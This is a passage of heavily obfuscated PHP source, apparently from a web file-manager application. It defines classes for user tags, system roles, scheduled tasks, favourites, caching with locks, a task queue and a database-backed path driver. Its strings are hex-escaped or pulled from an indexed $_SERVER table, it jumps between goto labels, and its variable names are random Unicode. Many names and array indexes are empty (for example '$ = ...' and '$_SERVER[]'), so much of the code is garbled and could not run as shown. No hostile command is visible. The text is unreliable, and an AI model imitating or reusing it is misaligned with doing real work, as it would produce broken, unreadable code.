$this->update($̛ʐ); $this->sourceModelCopyFlag = !1; } public function sourceRemove($˯, $ش) { $Š =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($˯[$Š[83]])) { $ = $˯[$Š[83]][$Š[81]] + $˯[$Š[83]][$Š[82]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($ӊ, $ɔۡ, $ޘ, $֒Ҟ, $ˇ) { $͘ =& $_SERVER[]; $ =& $this->task; if ($ˇ > 0) { $[$͘[1051]] = $͘[1709]; $[$͘[1692]] = $͘[108]; if ($[$͘[1690]]) { $[$͘[1691]] = $ˇ; } if ($[$͘[1693]]) { $[$͘[1691]] = $ˇ + $[$͘[1693]]; } } else { if ($ޘ > 0) { if ($[$͘[1690]] == $ɔۡ) { $[$͘[1691]] = $ޘ; $[$͘[1051]] = $͘[1710]; $[$͘[1692]] = $͘[1184]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ =& $this->task; $Ƌ = curl_getinfo($); $ = $Ƌ[$[1711]]; if ($ == -1) { $ = $Ƌ[$[1712]]; } if ($[$[1692]] == $[108] && $) { $[$[1693]] += $; } $this->update(); } } goto eυ; E: class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\162\x2e\x74\x61\147\x4c\x69\x73\164"; public $modelType = "\125\x73\145\162\117\x70\x74\151\157\156"; public $field = array("\156\141\155\145", "\163\x74\171\154\x65", "\x73\157\162\164"); public function listData($ҧ = false, $ڟ = "\163\x6f\162\164", $ˮ = false) { return parent::listData($ҧ, $ڟ, $ˮ); } public function remove($ǩ) { return parent::remove($ǩ); } public function add($, $櫕 = "\154\141\142\x65\154\55\x67\162\x65\171\55\156\x6f\x72\155\x61\154") { $㯳 =& $_SERVER[]; if ($this->findByName($)) { return !1; } $ş = array($㯳[421] => $, $㯳[484] => $櫕, $㯳[1814] => $this->getSort($㯳[253]) + 1); return parent::insert($ş); } public function update($, $Ϥ) { $ċ =& $_SERVER[]; $ů = $this->listData($); $ɋ = $this->findByName($Ϥ[$ċ[32]]); if (!$ů || $ɋ && $ɋ[$ċ[401]] != $ů[$ċ[401]]) { return !1; } return parent::update($, $Ϥ); } public function moveTop($) { $뺑 =& $_SERVER[]; $硛 = parent::listData(); $ = $this->getSort($뺑[252]); foreach ($硛 as &$) { if ($[$뺑[401]] == $) { $[$뺑[1833]] = $; continue; } $[$뺑[1833]] += 1; } unset($); return parent::resetData($硛); } public function moveBottom($) { $ʬ =& $_SERVER[]; $ = $this->getSort($ʬ[253]) + 1; return parent::update($, array($ʬ[1833] => $)); } public function resetSort($⾌) { $ =& $_SERVER[]; $ӧռ = array(); $⾌ = is_array($⾌) ? $⾌ : array(); for ($쉴 = 0; $쉴 < count($⾌); $쉴++) { $ӧռ[$⾌[$쉴] . $[12]] = $쉴 + 1; } $ = parent::listData(); foreach ($ as &$) { $ϐ = $ӧռ[$[$[401]]]; $[$[1833]] = $ϐ ? $ϐ : $[$[1833]]; } unset($); return parent::resetData($); } private function getSort($) { $鈓 =& $_SERVER[]; $ = parent::listData(); $ޣĖ = array_to_keyvalue($, $鈓[12], $鈓[1833]); if (!$ޣĖ) { $ޣĖ = array(0); } $輊 = $ == $鈓[253] ? max($ޣĖ) : min($ޣĖ); return intval($輊); } } goto a…; D׍: class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\56\162\157\154\145\x4c\x69\x73\164"; public $field = array("\x6e\141\155\x65", "\141\x75\x74\x68", "\154\141\142\145\x6c", "\x64\151\163\160\x6c\141\x79", "\x73\x79\163\164\145\155", "\x64\145\x73\143", "\x69\147\x6e\x6f\x72\145\105\x78\164", "\151\x67\156\x6f\x72\x65\x46\x69\154\x65\x53\151\172\145", "\141\144\x6d\x69\x6e\x69\163\164\x72\x61\164\x6f\x72", "\x73\157\162\164"); public function listData($񮅽 = false, $ = "\163\157\162\x74", $҃ = false) { $ɳ☧ =& $_SERVER[]; $ɠ = parent::listData($񮅽, $, $҃); if (!$񮅽) { foreach ($ɠ as $ => $) { if ($[$ɳ☧[2003]] == 1) { $ɠ[$][$ɳ☧[451]] = LNG($ɳ☧[2229]); } } } return $ɠ; } public function update($ܷ, $) { $˲ =& $_SERVER[]; $ = parent::listData($ܷ); $ = $this->findByName($[$˲[32]]); if (!$ || $ && $[$˲[401]] != $[$˲[401]]) { return !1; } if ($[$˲[2003]] == 1) { $ = array($˲[32] => $[$˲[32]], $˲[1832] => $[$˲[1832]]); } $this->filterAuth($[$˲[414]]); return parent::update($ܷ, $); } public function remove($ٰ) { $Խ = parent::listData($ٰ); if (!$Խ || $Խ[$_SERVER[][1261]]) { return !1; } return parent::remove($ٰ); } public function add($ܸ) { $ =& $_SERVER[]; $󊲄 = $ܸ[$[32]]; if ($this->findByName($󊲄)) { return !1; } $ = array($[421] => $󊲄, $[1816] => $[12], $[1812] => $[1820], $[2230] => 1, $[1815] => 0, $[2231] => 0, $[1814] => $this->getSort()); $ܸ = array_merge($, $ܸ); $this->filterAuth($ܸ[$[414]]); return parent::insert($ܸ); } private function getSort() { $ϛ֭ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ϛ֭[12], $ϛ֭[1833]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $ =& $_SERVER[]; $Ӌ = array(); $ů鷤 = array_filter(explode($[50], $)); foreach ($ů鷤 as $) { $׳ = explode($[10], $); if ($׳[0] == $[2232] && $׳[1] != $[1180]) { $ݼƃ = $׳[0] . $[10] . $׳[1] . $[2233]; if (!in_array($ݼƃ, $ů鷤)) { $Ӌ[] = $ݼƃ; } } $Ӌ[] = $; } $ = implode($[50], $Ӌ); } public function sort($, $ۯ) { return parent::update($, $ۯ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\155\56\x74\141\x73\x6b\x4c\x69\163\164"; public $field = array("\x6e\141\x6d\x65", "\x74\x79\160\145", "\145\166\145\156\x74", "\x74\151\155\x65", "\x64\145\x73\x63", "\163\x79\x73\x74\145\x6d", "\x65\x6e\141\142\x6c\x65", "\x6c\141\163\164\122\165\x6e", "\x73\x6f\x72\x74"); public function listData($ = false, $ʋ = "\163\157\x72\164", $Ҫ = false) { return parent::listData($, $ʋ, $Ҫ); } public function add($Ɋ) { $ܼ =& $_SERVER[]; $ = $this->findByName($Ɋ[$ܼ[32]]); if ($) { return !1; } $Ɋ[$ܼ[1603]] = 0; $Ɋ[$ܼ[1833]] = $this->getSort(); return parent::insert($Ɋ); } private function getSort() { $ =& $_SERVER[]; $蛯 = parent::listData(); $΄ = array_to_keyvalue($蛯, $[12], $[1833]); return empty($΄) ? 0 : max($΄) + 1; } public function update($􌟕, $) { $쯈 =& $_SERVER[]; $ = $this->listData($􌟕); $཰ = $this->findByName($[$쯈[32]]); if (!$ || $཰ && $཰[$쯈[401]] != $[$쯈[401]]) { return !1; } return parent::update($􌟕, $); } public function remove($ߛ㹆, $鸣 = false) { $ڋ =& $_SERVER[]; $ڃϚ = $this->listData($ߛ㹆); if (!$ڃϚ) { return; } if (!$鸣 && $ڃϚ[$ڋ[1261]] == $ڋ[89]) { return !1; } return parent::remove($ߛ㹆); } public function enable($Ȟ, $Ƨĩ) { return $this->update($Ȟ, array($_SERVER[][2224] => $Ƨĩ)); } public function run($ͷؾ) { return $this->update($ͷؾ, array($_SERVER[][2234] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\162\x5f\x66\x61\166"; protected function cacheFunctionAlias($ò) { $” =& $_SERVER[]; return array($”[1918] => array(USER_ID, $”[2235])); } protected function listData() { $ŝ =& $_SERVER[]; $˜ = array($ŝ[1633] => USER_ID, $ŝ[483] => 0); $籣 = $ŝ[2236]; $ = $this->field($籣)->where($˜)->order($ŝ[2237])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $Ġݸ =& $_SERVER[]; $ҋ = $this->listData(); $ = array_filter_by_field($ҋ, $Ġݸ[33], $Ġݸ[417]); $ܩ = array_to_keyvalue($, $Ġݸ[12], $Ġݸ[78]); if (!$ܩ) { return $ҋ; } $֭蛓 = 2000; $چŗ = array($Ġݸ[418] => array($Ġݸ[419], $ܩ)); $֔ = Model($Ġݸ[818])->listSource($چŗ, $֭蛓); $֔ = array_merge($֔[$Ġݸ[76]], $֔[$Ġݸ[77]]); $֔ = array_to_keyvalue($֔, $Ġݸ[403]); foreach ($ҋ as $񅾇 => $и) { $ = $֔[$и[$Ġݸ[78]]]; $ = $ ? $ : array(); $ҋ[$񅾇] = array_merge($, $и); } return $ҋ; } protected function addFav($Ǡ, $ݿ = '', $ƴ = "\x73\x6f\165\x72\x63\x65") { $ۥ =& $_SERVER[]; $ = array($ۥ[1633] => USER_ID, $ۥ[483] => 0, $ۥ[423] => $ƴ, $ۥ[422] => $Ǡ); if ($this->where($)->find()) { return !1; } $ = array($ۥ[1633] => USER_ID, $ۥ[483] => 0); $߻ = $this->where($)->max($ۥ[1833]); if (!$߻) { $߻ = 0; } if (!$ݿ && $ƴ == $ۥ[417]) { $ = Model($ۥ[1312])->where(array($ۥ[418] => $Ǡ))->find(); if (!$) { return !1; } $ݿ = $[$ۥ[32]]; } $ݿ = $this->getAutoName($ݿ); $ = array($ۥ[1633] => USER_ID, $ۥ[483] => 0, $ۥ[421] => $ݿ, $ۥ[422] => $Ǡ, $ۥ[423] => $ƴ, $ۥ[1814] => $߻ + 1); return $this->add($); } protected function remove($) { $ =& $_SERVER[]; $ۯ = array($[1633] => USER_ID, $[420] => $); return $this->where($ۯ)->delete(); } protected function removeByName($֥) { $ =& $_SERVER[]; $ฝ = array($[1633] => USER_ID, $[421] => $֥, $[483] => 0); return $this->where($ฝ)->delete(); } protected function rename($ب, $) { $ =& $_SERVER[]; if ($ب == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($[1633] => USER_ID, $[483] => 0, $[32] => $ب); return $this->where($)->save(array($[32] => $)); } protected function resetSort($ɿ) { $æ =& $_SERVER[]; $ɿ = is_array($ɿ) ? $ɿ : array(); $ = array($æ[1633] => USER_ID); for ($뿐 = 0; $뿐 < count($ɿ); $뿐++) { $[$æ[420]] = $ɿ[$뿐]; $this->where($)->save(array($æ[1814] => $뿐 + 1)); } return !0; } protected function moveTop($) { $࠴ =& $_SERVER[]; $ဲ = array($࠴[1633] => USER_ID, $࠴[483] => 0); $Ͱ = $this->where($ဲ)->where(array($࠴[32] => $))->find(); if (!$Ͱ) { return; } $ = $this->field($࠴[401])->where($ဲ)->order($࠴[2237])->select(); $ = array_to_keyvalue($, $࠴[12], $࠴[401]); $ = $; $ = array_remove_value($, $Ͱ[$࠴[401]]); array_unshift($, $Ͱ[$࠴[401]]); return $this->resetSort($); } protected function moveBottom($Ϗ) { $Ρؕ =& $_SERVER[]; $ = array($Ρؕ[1633] => USER_ID, $Ρؕ[483] => 0); $ʳ = $this->where($)->max($Ρؕ[1833]); $ = array($Ρؕ[1833] => $ʳ + 1); return $this->where($)->where(array($Ρؕ[32] => $Ϗ))->save($); } private function getAutoName($) { $˼ =& $_SERVER[]; $ = array($˼[1633] => USER_ID, $˼[483] => 0); $ = $this->field($˼[32])->where($)->select(); $ = array_to_keyvalue($, $˼[12], $˼[32]); if (!$ || !in_array($, $)) { return $; } for ($Ц = 0; $Ц < count($); $Ц++) { if (!in_array($ . "\50{$Ц}\51", $)) { return $ . "\50{$Ц}\x29"; } } return $ . "\x28{$Ц}\x29"; } } goto Fʢ; e樋ʑ: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $׷ۮ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$׷ۮ[6]][$׷ۮ[344]]; $ʼn = $[$[$׷ۮ[820]]]; $ބ궚 = $[$׷ۮ[821]]; switch ($[$׷ۮ[820]]) { case $׷ۮ[21]: self::$handle = Model($׷ۮ[822]); break; case $׷ۮ[823]: self::$handle = new CacheRedis($ʼn, $ބ궚); break; case $׷ۮ[824]: self::$handle = new CacheMemcached($ʼn, $ބ궚); break; case $׷ۮ[192]: self::$handle = new CacheFile($ʼn, $ބ궚); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ޜ) { if (is_array($ޜ) || is_object($ޜ)) { $ޜ = json_encode($ޜ); } $ޜ = rawurlencode($ޜ); return md5(KOD_SITE_ID . $_SERVER[][11] . $ޜ); } public static function get($, $ = false) { $ = self::key($); if ($) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ח = self::init()->get($); self::$memoryCache[$] = unserialize($ח); } return self::$memoryCache[$]; } public static function set($܂, $ю, $ = false) { $ = self::key($܂); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ю) { return !0; } if ($ === 0) { self::$memoryCache[$] = $ю; return !0; } CacheLock::lock($܂); $˞ = self::init()->set($, serialize($ю), $); self::$memoryCache[$] = $ю; CacheLock::unlock($܂); return $˞; } public static function getCall($ޣ, $, $, $ = array()) { $ʼn =& $_SERVER[]; $ˑ̃ = self::get($ޣ); if ($ˑ̃ || $ˑ̃ === $ʼn[12]) { return $ˑ̃; } $ˑ̃ = call_user_func_array($, $); $ˑ̃ = $ˑ̃ ? $ˑ̃ : $ʼn[12]; self::set($ޣ, $ˑ̃, $); return $ˑ̃; } public static function remove($٧) { $й褙 = self::key($٧); unset(self::$memoryCache[$й褙]); self::clearTimeout(); CacheLock::lock($٧); $ӓ = self::init()->remove($й褙); CacheLock::unlock($٧); return $ӓ; } public static function removeMemory($񪱳) { $ʡ = self::key($񪱳); unset(self::$memoryCache[$ʡ]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][825])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][826])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($̿, $ȓ) { $؜ =& $_SERVER[]; $this->cachePath = $̿[$؜[78]]; $this->prefix = $؜[827]; $this->cacheTime = $ȓ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($ë׸) { $ =& $_SERVER[]; $ë׸ = str_replace(array($[828], $[98], $[73]), $[829], $ë׸); return $this->cachePath . $[830] . $ë׸ . $[831]; } public function set($, $Αݴ, $ܹ = false) { $ = $this->getFile($); if (file_put_contents($, $this->prefix . $Αݴ, LOCK_EX)) { @touch($, intval(time() + $ܹ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $© = $this->getFile($); if (file_exists($©) && filemtime($©) < time()) { @unlink($©); return !1; } $ = @file_get_contents($©); return substr($, strlen($this->prefix)); } public function remove($盐) { $⃙ = $this->getFile($盐); return @unlink($⃙); } public function deleteAll() { $ =& $_SERVER[]; $җ͇ = scandir($this->cachePath); foreach ($җ͇ as $ن) { $Ŗ = $this->cachePath . $ن; if (strpos($Ŗ, $[831]) && strpos($Ŗ, $[832])) { @unlink($Ŗ); } } } public function clearTimeout() { $Ճ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $ٿ) { $ = $this->cachePath . $ٿ; if (strpos($, $Ճ[831]) && strpos($, $Ճ[832]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $į =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ԇ = $GLOBALS[$į[6]][$į[344]]; self::$timeout = $ԇ[$į[833]] ? $ԇ[$į[833]] : 10; $тƕ = _get($GLOBALS[$į[6]], $į[834]); $ƻ = $ԇ[$į[820]] ? $ԇ[$į[820]] : $į[192]; if ($ƻ == $į[21] && $тƕ == $į[13]) { $ƻ = $į[192]; } switch ($ƻ) { case $į[823]: self::$handle = new CacheLockRedis(); break; case $į[824]: self::$handle = new CacheLockMemcached(); break; case $į[21]: self::$handle = new CacheLockDatabase(); break; case $į[192]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($į[835], $į[836]); } return self::$handle; } private static function key($) { return $_SERVER[][837] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($һڐ = '') { self::$errorMsg = $һڐ; } public static function lockGlobal($̧, $͠) { return self::lock($̧, $͠, !0); } public static function lock($כ, $dz = false, $²񊽘 = false) { $ =& $_SERVER[]; $ = self::init(); $ɂ = self::key($כ); $dz = $dz ? $dz : self::$timeout; $ = $->lock($ɂ, $dz); $ = timeFloat(); if (!$) { $ = "\x6c\x6f\143\153\40\x65\x72\x72\x6f\x72\73\153\x65\171\75{$כ}\x3b\x74\151\155\145\75{$dz}\73" . self::$errorMsg . $[71] . get_caller_msg(); $ = LNG($[838]) . "\x28{$dz}\163\x29\x2e" . LNG($[839]); $ .= $[840]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[841] . self::$errorMsg; } write_log($, $[836]); show_json($, !1); } if (!$²񊽘) { self::$lockItem[$ɂ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ø = number_format(timeFloat() - $, 3); write_log($[842] . $כ . $[843] . $ø, $[836]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[844] . $, $[836]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $Ը = self::init(); $ñ = !1; foreach (self::$lockItem as $ƹש => $) { if (!$) { continue; } $Ը->unlock($ƹש); if (!$ñ) { $ñ = !0; write_log($[845] . $ƹש . $[71] . get_caller_msg(), $[836]); continue; } write_log($[845] . $ƹש, $[836]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $͹ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[846] . $͹ . $[847] . ACTION, $[836]); } } public static function fileLock($) { $߁ =& $_SERVER[]; if (!$GLOBALS[$߁[848]]) { $GLOBALS[$߁[848]] = array(); } $GLOBALS[$߁[848]][$] = !1; $ = fopen(DATA_PATH . $ . $߁[849], $߁[850]); if (!$) { return !1; } $GLOBALS[$߁[848]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($߁[851], !1); return !1; } public static function fileUnlock($׎) { $ =& $_SERVER[]; $ = $GLOBALS[$[848]][$׎]; if (!$) { return; } $GLOBALS[$[848]][$׎] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $왏 =& $_SERVER[]; if (!$GLOBALS[$왏[848]]) { return; } foreach ($GLOBALS[$왏[848]] as $϶ => $ۢ) { if (!$ۢ) { continue; } $GLOBALS[$왏[848]][$϶] = !1; flock($ۢ, LOCK_UN); fclose($ۢ); } $GLOBALS[$왏[848]] = array(); } } goto bձ; eυ: class TaskHttp extends Task { protected function startAfter() { $䖻 =& $_SERVER[]; $ =& $this->task; $[$䖻[1713]] = 1; Hook::bind($䖻[1682], array($this, $䖻[1714])); Hook::bind($䖻[1684], array($this, $䖻[1715])); Hook::bind($䖻[1686], array($this, $䖻[1716])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1682], array($this, $[1714])); Hook::unbind($[1684], array($this, $[1715])); Hook::unbind($[1686], array($this, $[1716])); } public function progressStart($ᆲ) { $Э =& $_SERVER[]; $Ő = curl_getinfo($ᆲ); self::log($Э[1717] . $Ő[$Э[302]]); self::valueSet($this->task[$Э[401]], $this->task); } public function progressEnd($) { $Ҡ =& $_SERVER[]; self::log($Ҡ[1718] . $this->task[$Ҡ[401]]); $this->end(); } public function progress($, $޵, $Ղ, $בޑ, $Ը) { $ =& $_SERVER[]; $Ȗ =& $this->task; if ($Ը > 0) { $Ȗ[$[779]] = $Ȗ[$[779]] == 0 ? $בޑ : $Ȗ[$[779]]; $Ȗ[$[1643]] = $Ը; } else { if ($Ղ > 0) { $Ȗ[$[779]] = $Ȗ[$[779]] == 0 ? $޵ : $Ȗ[$[779]]; $Ȗ[$[1643]] = $Ղ; } } $this->update(); self::log("\x70\162\157\x67\x72\x65\163\163\110\x74\x74\160\72\144\x6f\167\x6e\72{$Ղ}\57{$޵}\x3b\40\x75\160\x6c\x6f\141\x64\72{$Ը}\x2f{$בޑ}\x3b"); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\163\x6b\121\165\145\165\145\x4c\x65\x6e\x67\164\150"; const QUEUE_DATA = "\164\141\163\153\121\x75\x65\x75\x65\x44\x61\164\x61"; public static $listData = false; public static function initTask() { } public static function add($ҡ, $ˑ = array(), $ޞ = '', $Š = '') { $옡 =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($Š && array_find_by_field(self::$listData, $옡[95], $Š)) { return !0; } self::$listData[] = array($옡[259] => $ҡ, $옡[1719] => $ˑ, $옡[451] => $ޞ, $옡[95] => $Š); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($[1720] . json_encode_force(array_to_keyvalue(self::$listData, $[12], $[451])), $[1721]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($Ħ, $ț = array(), $ߩ = '', $׀Ү = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ɹ = self::getAll(); if ($׀Ү && array_find_by_field($ɹ, $[95], $׀Ү)) { return !0; } $ɹ[] = array($[259] => $Ħ, $[1719] => $ț, $[451] => $ߩ, $[95] => $׀Ү); write_log($[1720] . $ߩ, $[1721]); self::setAll($ɹ); return !0; } public static function run() { $ӊ =& $_SERVER[]; $ߦ⚭ = self::getAll(); $Г = array_shift($ߦ⚭); if (!$Г) { return !1; } self::setAll($ߦ⚭); $ĸ = timeFloat(); try { Hook::apply($Г[$ӊ[259]], $Г[$ӊ[1719]]); } catch (Exception $) { } $Й = number_format(timeFloat() - $ĸ, 3) . $ӊ[1658]; write_log($ӊ[1722] . $Г[$ӊ[451]] . $ӊ[1723] . $Й, $ӊ[1721]); return !0; } public static function count() { $ȶπ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$ȶπ) { return 0; } return intval($ȶπ); } public static function getAll() { $֚ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$֚) { return array(); } return $֚; } public static function setAll($༂) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($༂), $); Cache::set(self::QUEUE_DATA, $༂, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $Ƽ = Cache::get($); if (!$Ƽ || timeFloat() - floatVal($Ƽ) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $ُڞ, $艆ӕ = 5.0) { $ۄ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $ۄ[1724]; $ = Cache::get($, !0); $ŏ = array($ۄ[1725] => timeFloat(), $ۄ[1726] => timeFloat(), $ۄ[259] => $, $ۄ[1719] => $ُڞ, $ۄ[196] => $艆ӕ); if (is_array($[$])) { $ŏ[$ۄ[1726]] = $[$][$ۄ[1726]]; } if (is_array($[$])) { if (timeFloat() - $[$][$ۄ[1725]] < $ŏ[$ۄ[196]] * 0.3) { return; } $ŏ[$ۄ[1726]] = $[$][$ۄ[1726]]; } $[$] = $ŏ; Cache::set($, $, 60); Cache::removeMemory($); write_log($ۄ[1727] . $ . $ۄ[71] . $, $ۄ[1721]); } public static function timeLimitCallLoop() { $к =& $_SERVER[]; $ = array($к[1728]); $虇 = in_array(strtolower(ACTION), $); if (!$虇 && !self::$asyncAdd) { return; } $ = $к[1724]; $ղل = Cache::get($, !0); if (!$ղل || count($ղل) <= 0) { return; } $ = !1; $鴜 = timeFloat(); $ё = array(); foreach ($ղل as $ => $븵) { if ($鴜 - $븵[$к[1726]] > $븵[$к[196]]) { $ = !0; try { Hook::apply($븵[$к[259]], $븵[$к[1719]]); write_log($к[1729] . $ . $к[71] . $븵[$к[259]] . $к[1730] . ACTION, $к[1721]); } catch (Exception $ͯ) { } continue; } $ё[$] = $븵; } if (!$) { return; } if (!$ё) { return Cache::remove($); } Cache::set($, $ё, 60); Cache::removeMemory($); } public static function finished($Ŀ, $ѱ) { $군 =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($군[259] => $Ŀ, $군[1719] => $ѱ); } private static function finishedRun() { $癨 =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $ߪҘ) { try { Hook::apply($ߪҘ[$癨[259]], $ߪҘ[$癨[1719]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } goto C; D: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($Ɯ) { $this->pathParse = $Ɯ; $this->model = Model($_SERVER[][1312]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($뷁) { $ݐ = $this->parse($뷁); $ݐ = $this->infoSimple($뷁); return $ݐ ? $ݐ[$_SERVER[][498]] : !1; } public function pathThis($Ƶ㞱) { $͇꿭 = $this->infoSimple($Ƶ㞱); return $͇꿭 ? $͇꿭[$_SERVER[][32]] : !1; } public function getPathOuter($ˁ) { if (!$ˁ) { return $ˁ; } $Ñ䋬 = $this->parse($ˁ); return KodIO::make($Ñ䋬[$_SERVER[][401]]); } public function copyFolderFromIO($܈, $۝, $ؒݷ, $ӷʷ, $) { $ԅԑ = $this->model->copyFolderFromIO($܈, $۝, $ؒݷ, $ӷʷ, $); return KodIO::make($ԅԑ); } public function isParentOf($Ћ֥, $ʜ) { return $this->model->isParentOf($Ћ֥, $ʜ); } public function mkfile($, $Λ͋ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $۫ = $this->parse($); $ = $۫[$[401]]; for ($ = 0; $ < count($۫[$[1313]]); $++) { $㐖 = $۫[$[1313]][$]; if ($ == count($۫[$[1313]]) - 1) { $ = $this->model->mkfile($, $㐖, $Λ͋, $); break; } $ = $this->model->mkdir($, $㐖, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $² =& $_SERVER[]; $ެ = $this->parse($); $ = $ެ[$²[401]]; for ($٩ʼϨ = 0; $٩ʼϨ < count($ެ[$²[1313]]); $٩ʼϨ++) { $͚ޘț = $ެ[$²[1313]][$٩ʼϨ]; $ = $this->model->mkdir($, $͚ޘț, $); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ߊ =& $_SERVER[]; $ = $this->parse($); $ղԺ = $this->model->copy($, $[$ߊ[401]], $, $[$ߊ[78]]); return $ղԺ ? $this->getPathOuter($ղԺ) : !1; } public function moveFile($⾞, $̻, $ֈ = REPEAT_REPLACE) { $΍ς =& $_SERVER[]; $ު = $this->parse($̻); $ݣ = $this->model->move($⾞, $ު[$΍ς[401]], $ֈ, $ު[$΍ς[78]]); return $ݣ ? $this->getPathOuter($ݣ) : !1; } public function copy($ΐ, $Ĥ, $ = REPEAT_REPLACE, $© = false) { $ = $this->parse($Ĥ); $ = $this->model->copy($ΐ, $[$_SERVER[][401]], $, $©); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($盝, $˨, $á = REPEAT_REPLACE, $˧ = false) { $ = $this->parse($˨); $ܰ = $this->model->move($盝, $[$_SERVER[][401]], $á, $˧); return $ܰ ? $this->getPathOuter($ܰ) : !1; } public function remove($ѭ, $Ӏ = true) { return $this->model->remove($ѭ, $Ӏ); } public function rename($įݶ, $) { $ꏾ = $this->model->rename($įݶ, $); return $ꏾ ? $this->getPathOuter($įݶ) : $ꏾ; } public function size($˃¿) { $ = $this->infoSimple($˃¿); return $ ? $[$_SERVER[][80]] : 0; } public function infoSimple($ܻ) { return $this->model->sourceInfo($ܻ); } public function info($հͫ) { return $this->infoParse($հͫ); } public function infoAuth($ž) { return $this->infoParse($ž, !1, !0); } public function infoWithChildren($ʹȪ) { return $this->infoParse($ʹȪ, !0); } protected function infoParse($, $ = false, $惨 = false) { if (!$) { return $this->model->pathInfo($, $惨); } return $this->model->pathInfoMore($); } public function infoFull($) { $אƋ =& $_SERVER[]; $׭鉷 = explode($אƋ[8], $); $Ȩ = implode($אƋ[8], array_splice($׭鉷, 1)); return $this->model->pathInfoByPath($׭鉷[0], $Ȩ); } public function hashSimple($) { $ =& $_SERVER[]; $義 = $this->infoWithChildren($); return $義[$[163]][$[170]]; } public function hashMd5($) { $ĸ =& $_SERVER[]; $ȹ = $this->infoWithChildren($); return $ȹ[$ĸ[163]][$ĸ[169]]; } public function exist($ɖ) { $ =& $_SERVER[]; $ = $this->parse($ɖ); if (!$[$[78]]) { return $this->isFile($ɖ) || $this->isFolder($ɖ); } $Ų = array($[402] => $[$[401]], $[32] => $[$[78]]); $׊ = $this->model->where($Ų)->find(); return $׊ ? !0 : !1; } public function isFile($Յ) { $ɮЁ =& $_SERVER[]; $Ќ՞ = $this->infoSimple($Յ); return $Ќ՞ && $Ќ՞[$ɮЁ[411]] == $ɮЁ[89] ? !1 : !0; } public function isFolder($ן) { $ =& 